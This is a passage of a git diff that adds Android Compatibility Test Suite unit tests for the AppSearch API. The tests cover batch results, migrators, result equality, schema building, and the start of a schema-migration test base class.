+        public ICommandReceiver getCommandReceiver() throws Exception {
+            if (mCommandReceiver == null) {
+                mCommandReceiver = ICommandReceiver.Stub.asInterface(getService());
+            }
+            return mCommandReceiver;
+        }
+
+        public void unbind() {
+            mCommandReceiver = null;
+            mContext.unbindService(this);
+        }
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchBatchResultCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchBatchResultCtsTest.java
new file mode 100644
index 0000000..0644ed4
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchBatchResultCtsTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchResult;
+
+import org.junit.Test;
+
+public class AppSearchBatchResultCtsTest {
+    @Test
+    public void testIsSuccess_true() {
+        AppSearchBatchResult<String, Integer> result =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setSuccess("keySuccess2", 2)
+                        .setResult("keySuccess3", AppSearchResult.newSuccessfulResult(3))
+                        .build();
+        assertThat(result.isSuccess()).isTrue();
+        result.checkSuccess();
+    }
+
+    @Test
+    public void testIsSuccess_false() {
+        AppSearchBatchResult<String, Integer> result1 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setSuccess("keySuccess2", 2)
+                        .setFailure("keyFailure1", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .build();
+
+        AppSearchBatchResult<String, Integer> result2 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setResult(
+                                "keyFailure3",
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"))
+                        .build();
+
+        assertThat(result1.isSuccess()).isFalse();
+        assertThat(result2.isSuccess()).isFalse();
+        expectThrows(IllegalStateException.class, result1::checkSuccess);
+        expectThrows(IllegalStateException.class, result2::checkSuccess);
+    }
+
+    @Test
+    public void testIsSuccess_replace() {
+        AppSearchBatchResult<String, Integer> result1 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("key", 1)
+                        .setFailure("key", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .build();
+
+        AppSearchBatchResult<String, Integer> result2 =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setFailure("key", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .setSuccess("key", 1)
+                        .build();
+
+        assertThat(result1.isSuccess()).isFalse();
+        expectThrows(IllegalStateException.class, result1::checkSuccess);
+        assertThat(result2.isSuccess()).isTrue();
+        result2.checkSuccess();
+    }
+
+    @Test
+    public void testGetters() {
+        AppSearchBatchResult<String, Integer> result =
+                new AppSearchBatchResult.Builder<String, Integer>()
+                        .setSuccess("keySuccess1", 1)
+                        .setSuccess("keySuccess2", 2)
+                        .setFailure("keyFailure1", AppSearchResult.RESULT_UNKNOWN_ERROR, "message1")
+                        .setFailure(
+                                "keyFailure2", AppSearchResult.RESULT_INTERNAL_ERROR, "message2")
+                        .setResult("keySuccess3", AppSearchResult.newSuccessfulResult(3))
+                        .setResult(
+                                "keyFailure3",
+                                AppSearchResult.newFailedResult(
+                                        AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"))
+                        .build();
+
+        assertThat(result.isSuccess()).isFalse();
+        assertThat(result.getSuccesses())
+                .containsExactly("keySuccess1", 1, "keySuccess2", 2, "keySuccess3", 3);
+        assertThat(result.getFailures())
+                .containsExactly(
+                        "keyFailure1",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_UNKNOWN_ERROR, "message1"),
+                        "keyFailure2",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INTERNAL_ERROR, "message2"),
+                        "keyFailure3",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"));
+        assertThat(result.getAll())
+                .containsExactly(
+                        "keySuccess1",
+                        AppSearchResult.newSuccessfulResult(1),
+                        "keySuccess2",
+                        AppSearchResult.newSuccessfulResult(2),
+                        "keySuccess3",
+                        AppSearchResult.newSuccessfulResult(3),
+                        "keyFailure1",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_UNKNOWN_ERROR, "message1"),
+                        "keyFailure2",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INTERNAL_ERROR, "message2"),
+                        "keyFailure3",
+                        AppSearchResult.newFailedResult(
+                                AppSearchResult.RESULT_INVALID_ARGUMENT, "message3"));
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchMigratorTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchMigratorTest.java
new file mode 100644
index 0000000..f0a916d1
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchMigratorTest.java
@@ -0,0 +1,152 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.annotation.NonNull;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.Migrator;
+
+import org.junit.Test;
+
+public class AppSearchMigratorTest {
+
+    @Test
+    public void testOnUpgrade() {
+        Migrator migrator =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return new GenericDocument.Builder<>(
+                                        document.getNamespace(),
+                                        document.getUri(),
+                                        document.getSchemaType())
+                                .setCreationTimestampMillis(document.getCreationTimestampMillis())
+                                .setScore(document.getScore())
+                                .setTtlMillis(document.getTtlMillis())
+                                .setPropertyString(
+                                        "migration",
+                                        "Upgrade the document from version "
+                                                + currentVersion
+                                                + " to version "
+                                                + finalVersion)
+                                .build();
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+                };
+
+        GenericDocument input =
+                new GenericDocument.Builder<>("namespace", "uri", "schemaType")
+                        .setCreationTimestampMillis(12345L)
+                        .setScore(100)
+                        .setTtlMillis(54321L)
+                        .build();
+
+        GenericDocument expected =
+                new GenericDocument.Builder<>("namespace", "uri", "schemaType")
+                        .setCreationTimestampMillis(12345L)
+                        .setScore(100)
+                        .setTtlMillis(54321L)
+                        .setPropertyString(
+                                "migration", "Upgrade the document from version 3 to version 5")
+                        .build();
+
+        GenericDocument output =
+                migrator.onUpgrade(/*currentVersion=*/ 3, /*finalVersion=*/ 5, input);
+        assertThat(output).isEqualTo(expected);
+    }
+
+    @Test
+    public void testOnDowngrade() {
+        Migrator migrator =
+                new Migrator() {
+                    @Override
+                    public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                        return true;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onUpgrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return document;
+                    }
+
+                    @NonNull
+                    @Override
+                    public GenericDocument onDowngrade(
+                            int currentVersion,
+                            int finalVersion,
+                            @NonNull GenericDocument document) {
+                        return new GenericDocument.Builder<>(
+                                        document.getNamespace(),
+                                        document.getUri(),
+                                        document.getSchemaType())
+                                .setCreationTimestampMillis(document.getCreationTimestampMillis())
+                                .setScore(document.getScore())
+                                .setTtlMillis(document.getTtlMillis())
+                                .setPropertyString(
+                                        "migration",
+                                        "Downgrade the document from version "
+                                                + currentVersion
+                                                + " to version "
+                                                + finalVersion)
+                                .build();
+                    }
+                };
+
+        GenericDocument input =
+                new GenericDocument.Builder<>("namespace", "uri", "schemaType")
+                        .setCreationTimestampMillis(12345L)
+                        .setScore(100)
+                        .setTtlMillis(54321L)
+                        .build();
+
+        GenericDocument expected =
+                new GenericDocument.Builder<>("namespace", "uri", "schemaType")
+                        .setCreationTimestampMillis(12345L)
+                        .setScore(100)
+                        .setTtlMillis(54321L)
+                        .setPropertyString(
+                                "migration", "Downgrade the document from version 6 to version 4")
+                        .build();
+
+        GenericDocument output =
+                migrator.onDowngrade(/*currentVersion=*/ 6, /*finalVersion=*/ 4, input);
+        assertThat(output).isEqualTo(expected);
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
new file mode 100644
index 0000000..9c34b17
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchResultCtsTest.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.appsearch.AppSearchResult;
+
+import org.junit.Test;
+
+public class AppSearchResultCtsTest {
+
+    @Test
+    public void testResultEquals_identical() {
+        AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+        AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("String");
+
+        assertThat(result1).isEqualTo(result2);
+        assertThat(result1.hashCode()).isEqualTo(result2.hashCode());
+
+        AppSearchResult<String> result3 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+        AppSearchResult<String> result4 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+
+        assertThat(result3).isEqualTo(result4);
+        assertThat(result3.hashCode()).isEqualTo(result4.hashCode());
+    }
+
+    @Test
+    public void testResultEquals_failure() {
+        AppSearchResult<String> result1 = AppSearchResult.newSuccessfulResult("String");
+        AppSearchResult<String> result2 = AppSearchResult.newSuccessfulResult("Wrong");
+        AppSearchResult<String> resultNull = AppSearchResult.newSuccessfulResult(/*value=*/ null);
+
+        assertThat(result1).isNotEqualTo(result2);
+        assertThat(result1.hashCode()).isNotEqualTo(result2.hashCode());
+        assertThat(result1).isNotEqualTo(resultNull);
+        assertThat(result1.hashCode()).isNotEqualTo(resultNull.hashCode());
+
+        AppSearchResult<String> result3 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, "errorMessage");
+        AppSearchResult<String> result4 =
+                AppSearchResult.newFailedResult(AppSearchResult.RESULT_IO_ERROR, "errorMessage");
+
+        assertThat(result3).isNotEqualTo(result4);
+        assertThat(result3.hashCode()).isNotEqualTo(result4.hashCode());
+
+        AppSearchResult<String> result5 =
+                AppSearchResult.newFailedResult(AppSearchResult.RESULT_INTERNAL_ERROR, "Wrong");
+
+        assertThat(result3).isNotEqualTo(result5);
+        assertThat(result3.hashCode()).isNotEqualTo(result5.hashCode());
+
+        AppSearchResult<String> result6 =
+                AppSearchResult.newFailedResult(
+                        AppSearchResult.RESULT_INTERNAL_ERROR, /*errorMessage=*/ null);
+
+        assertThat(result3).isNotEqualTo(result6);
+        assertThat(result3.hashCode()).isNotEqualTo(result6.hashCode());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
new file mode 100644
index 0000000..53c43d8
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaCtsTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSchema.DocumentPropertyConfig;
+import android.app.appsearch.AppSearchSchema.PropertyConfig;
+import android.app.appsearch.AppSearchSchema.StringPropertyConfig;
+import android.app.appsearch.exceptions.IllegalSchemaException;
+
+import org.junit.Test;
+
+public class AppSearchSchemaCtsTest {
+    @Test
+    public void testInvalidEnums() {
+        StringPropertyConfig.Builder builder = new StringPropertyConfig.Builder("test");
+        expectThrows(IllegalArgumentException.class, () -> builder.setCardinality(99));
+    }
+
+    @Test
+    public void testMissingFields() {
+        DocumentPropertyConfig.Builder builder = new DocumentPropertyConfig.Builder("test");
+        IllegalSchemaException e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: schemaType");
+
+        builder.setSchemaType("TestType");
+        e = expectThrows(IllegalSchemaException.class, builder::build);
+        assertThat(e).hasMessageThat().contains("Missing field: cardinality");
+
+        builder.setCardinality(PropertyConfig.CARDINALITY_REPEATED);
+        builder.build();
+    }
+
+    @Test
+    public void testDuplicateProperties() {
+        AppSearchSchema.Builder builder =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build());
+        IllegalSchemaException e =
+                expectThrows(
+                        IllegalSchemaException.class,
+                        () ->
+                                builder.addProperty(
+                                        new StringPropertyConfig.Builder("subject")
+                                                .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                                .setIndexingType(
+                                                        StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                                .setTokenizerType(
+                                                        StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                                .build()));
+        assertThat(e).hasMessageThat().contains("Property defined more than once: subject");
+    }
+
+    @Test
+    public void testEquals_identical() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isEqualTo(schema2);
+        assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_differentOrder() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .build())
+                        .build();
+        assertThat(schema1).isEqualTo(schema2);
+        assertThat(schema1.hashCode()).isEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure_differentProperty() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig
+                                                        .INDEXING_TYPE_EXACT_TERMS) // Diff
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+
+    @Test
+    public void testEquals_failure_differentOrder() {
+        AppSearchSchema schema1 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        // Order of 'body' and 'subject' has been switched
+        AppSearchSchema schema2 =
+                new AppSearchSchema.Builder("Email")
+                        .addProperty(
+                                new StringPropertyConfig.Builder("body")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .addProperty(
+                                new StringPropertyConfig.Builder("subject")
+                                        .setCardinality(PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                StringPropertyConfig.INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(StringPropertyConfig.TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        assertThat(schema1).isNotEqualTo(schema2);
+        assertThat(schema1.hashCode()).isNotEqualTo(schema2.hashCode());
+    }
+}
diff --git a/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaMigrationCtsTestBase.java b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaMigrationCtsTestBase.java
new file mode 100644
index 0000000..9312a66
--- /dev/null
+++ b/tests/appsearch/src/com/android/cts/appsearch/external/AppSearchSchemaMigrationCtsTestBase.java
@@ -0,0 +1,1315 @@
+/*
+ * Copyright 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.appsearch.cts;
+
+import static com.android.server.appsearch.testing.AppSearchTestUtils.checkIsBatchResultSuccess;
+import static com.android.server.appsearch.testing.AppSearchTestUtils.doGet;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.expectThrows;
+
+import android.annotation.NonNull;
+import android.app.appsearch.AppSearchBatchResult;
+import android.app.appsearch.AppSearchSchema;
+import android.app.appsearch.AppSearchSessionShim;
+import android.app.appsearch.GenericDocument;
+import android.app.appsearch.Migrator;
+import android.app.appsearch.PutDocumentsRequest;
+import android.app.appsearch.SetSchemaRequest;
+import android.app.appsearch.SetSchemaResponse;
+
+import com.google.common.util.concurrent.ListenableFuture;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.concurrent.ExecutionException;
+
+/*
+ * For schema migration, we have 4 factors
+ * A. is ForceOverride set to true?
+ * B. is the schema change backwards compatible?
+ * C. is shouldTrigger return true?
+ * D. is there a migration triggered for each incompatible type and no deleted types?
+ * If B is true then D could never be false, so that will give us 12 combinations.
+ *
+ *                                Trigger       Delete      First            Second
+ * A      B       C       D       Migration     Types       SetSchema        SetSchema
+ * TRUE   TRUE    TRUE    TRUE    Yes                       succeeds         succeeds(noop)
+ * TRUE   TRUE    FALSE   TRUE                              succeeds         succeeds(noop)
+ * TRUE   FALSE   TRUE    TRUE    Yes                       fail             succeeds
+ * TRUE   FALSE   TRUE    FALSE   Yes           Yes         fail             succeeds
+ * TRUE   FALSE   FALSE   TRUE                  Yes         fail             succeeds
+ * TRUE   FALSE   FALSE   FALSE                 Yes         fail             succeeds
+ * FALSE  TRUE    TRUE    TRUE    Yes                       succeeds         succeeds(noop)
+ * FALSE  TRUE    FALSE   TRUE                              succeeds         succeeds(noop)
+ * FALSE  FALSE   TRUE    TRUE    Yes                       fail             succeeds
+ * FALSE  FALSE   TRUE    FALSE   Yes                       fail             throw error
+ * FALSE  FALSE   FALSE   TRUE    Impossible case, migrators are inactivity
+ * FALSE  FALSE   FALSE   FALSE                             fail             throw error
+ */
+// TODO(b/178060626) add a platform version of this test
+public abstract class AppSearchSchemaMigrationCtsTestBase {
+
+    private static final String DB_NAME = "";
+    private static final long DOCUMENT_CREATION_TIME = 12345L;
+    private static final Migrator ACTIVE_NOOP_MIGRATOR =
+            new Migrator() {
+                @Override
+                public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                    return true;
+                }
+
+                @NonNull
+                @Override
+                public GenericDocument onUpgrade(
+                        int currentVersion, int finalVersion, @NonNull GenericDocument document) {
+                    return document;
+                }
+
+                @NonNull
+                @Override
+                public GenericDocument onDowngrade(
+                        int currentVersion, int finalVersion, @NonNull GenericDocument document) {
+                    return document;
+                }
+            };
+    private static final Migrator INACTIVE_MIGRATOR =
+            new Migrator() {
+                @Override
+                public boolean shouldMigrate(int currentVersion, int finalVersion) {
+                    return false;
+                }
+
+                @NonNull
+                @Override
+                public GenericDocument onUpgrade(
+                        int currentVersion, int finalVersion, @NonNull GenericDocument document) {
+                    return document;
+                }
+
+                @NonNull
+                @Override
+                public GenericDocument onDowngrade(
+                        int currentVersion, int finalVersion, @NonNull GenericDocument document) {
+                    return document;
+                }
+            };
+
+    private AppSearchSessionShim mDb;
+
+    protected abstract ListenableFuture<AppSearchSessionShim> createSearchSession(
+            @NonNull String dbName);
+
+    @Before
+    public void setUp() throws Exception {
+        mDb = createSearchSession(DB_NAME).get();
+
+        // Cleanup whatever documents may still exist in these databases. This is needed in
+        // addition to tearDown in case a test exited without completing properly.
+        AppSearchSchema schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_REQUIRED)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(schema)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+        GenericDocument doc =
+                new GenericDocument.Builder<>("namespace", "uri0", "testSchema")
+                        .setPropertyString("subject", "testPut example1")
+                        .setCreationTimestampMillis(DOCUMENT_CREATION_TIME)
+                        .build();
+        AppSearchBatchResult<String, Void> result =
+                checkIsBatchResultSuccess(
+                        mDb.put(
+                                new PutDocumentsRequest.Builder()
+                                        .addGenericDocuments(doc)
+                                        .build()));
+        assertThat(result.getSuccesses()).containsExactly("uri0", null);
+        assertThat(result.getFailures()).isEmpty();
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Cleanup whatever documents may still exist in these databases.
+        mDb.setSchema(new SetSchemaRequest.Builder().setForceOverride(true).build()).get();
+    }
+
+    @Test
+    public void testSchemaMigration_A_B_C_D() throws Exception {
+        // create a backwards compatible schema and update the version
+        AppSearchSchema B_C_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_C_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setForceOverride(true)
+                                .setVersion(2) // upgrade version
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_A_B_NC_D() throws Exception {
+        // create a backwards compatible schema but don't update the version
+        AppSearchSchema B_NC_Schema =
+                new AppSearchSchema.Builder("testSchema")
+                        .addProperty(
+                                new AppSearchSchema.StringPropertyConfig.Builder("subject")
+                                        .setCardinality(
+                                                AppSearchSchema.PropertyConfig.CARDINALITY_OPTIONAL)
+                                        .setIndexingType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .INDEXING_TYPE_PREFIXES)
+                                        .setTokenizerType(
+                                                AppSearchSchema.StringPropertyConfig
+                                                        .TOKENIZER_TYPE_PLAIN)
+                                        .build())
+                        .build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(B_NC_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_A_NB_C_D() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema NB_C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_C_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setForceOverride(true)
+                                .setVersion(2) // upgrade version
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_A_NB_C_ND() throws Exception {
+        // create a backwards incompatible schema and update the version
+        AppSearchSchema NB_C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_C_Schema)
+                                .setMigrator("testSchema", INACTIVE_MIGRATOR) // ND
+                                .setForceOverride(true)
+                                .setVersion(2) // upgrade version
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_A_NB_NC_D() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema NB_NC_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas(NB_NC_Schema)
+                                .setMigrator("testSchema", ACTIVE_NOOP_MIGRATOR)
+                                .setForceOverride(true)
+                                .build())
+                .get();
+    }
+
+    @Test
+    public void testSchemaMigration_A_NB_NC_ND() throws Exception {
+        // create a backwards incompatible schema but don't update the version
+        AppSearchSchema $B_$C_Schema = new AppSearchSchema.Builder("testSchema").build();
+
+        mDb.setSchema(
+                        new SetSchemaRequest.Builder()
+                                .addSchemas($B_$C_Schema)
